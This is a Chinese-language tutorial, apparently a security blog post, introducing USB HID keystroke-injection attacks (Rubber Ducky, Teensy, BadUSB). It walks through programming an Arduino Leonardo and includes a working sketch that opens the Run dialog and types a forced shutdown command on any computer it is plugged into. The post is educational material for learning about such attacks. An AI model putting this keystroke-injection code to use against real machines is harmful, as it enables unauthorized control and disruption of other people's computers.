0x01 背景知识
HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。Badusb也属于HID攻击的一种,在badusb之前还有两种HID攻击分别是teensy和USB RUBBER DUCKY(usb橡皮鸭)。斗哥先介绍以下这三种类型有何不同。
USB RUBBER DUCKY(usb橡皮鸭)
USB RUBBER DUCKY简称usb橡皮鸭,是最早的按键注入工具,可根据对应要求定制硬件。价格较贵动不动就是大几十刀,不过目前已形成成熟的商业模式。可在http://www.ducktoolkit.com/Home.jsp自助生成攻击脚本。
Teensy
Teensy是拥有芯片且功能完整的单片机开发系统。可模拟键盘和鼠标。经开发的teensy usb设备可被电脑识别成键盘或鼠标,然后执行编程进去的恶意代码。价格亲民,开源性强可和kali配合使用。小编后续的实验也都是基于这种芯片。
BADUSB
BADUSB是2014年黑客大会上由柏林SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示攻击方法,该攻击方法通过对普通u盘的固件进行逆向重新编程,修改了u盘的系统,然后进行攻击。KarstenNohl和Jakob Lell在github上公布代码https://github.com/brandonlw/Psychson,下图为公布的代码逻辑。
0x02 Teensy制作
准备材料:
Arduino Leonardo //小型单片机模拟USB。
超短micro转USB。
Arduino IDE //用于烧录代码的编译器 。
http://www.arduino.cn/thread-5838-1-1.html(建议用1.6 的版本)。
Arduino IDE使用:
Arduino IDE安装过程没有特别需要注意的,部分系统需要安装驱动https://pan.baidu.com/s/1bo7I6EN(小编在win7和win10上都无须安装驱动)
1.开启Arduino IDE,设置开发板的类型为:
2.设置端口为连入的Arduino Leonardo板。
3.代码区
在代码区域写入执行代码,循环代码区域写入的代码会循环执行。
4.调试、写入
经调试后无语法错误,即可将代码写入开发板中。
5.测试例子
例子的结果是让插上板子的电脑自动关机。为了便于后续的调试和修改,延迟时间设置的比较长。详细的Arduino keyboard库的解释可参考该链接。
https://www.arduino.cn/thread-21472-1-1.html;
#include <Keyboard.h> //引用键盘库文件
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(3000);//延时3000毫秒
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500); //延迟500毫秒
Keyboard.press('r');//r键
delay(500); //延迟500毫秒
Keyboard.release(KEY_LEFT_GUI);//释放win键
Keyboard.release('r'); //释放r键
delay(500); //延迟500毫秒
Keyboard.println("SHUTDOWN -S -F -T 0"); //输入SHUTDOWN -S -F -T 0
delay(5000); //延迟5000毫秒()
Keyboard.press(KEY_RETURN); //
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}
0x03 小结
本文简单分享了HID攻击,以下关于实践过程中的注意点和思考。
1.HID攻击需配合社会工程学进行攻击。
2.Keyboard.press 完一定要Keyboard.release 释放按键, 不然会一直按。
3.Arduino IDE1.8版本必须要添加库文件才能调试成功。
4.Arduino keyboard库的介绍可参考该链接。
https://www.arduino.cn/thread-21472-1-1.html
5. teensy开发板可和kali配合使用,将在后续分享。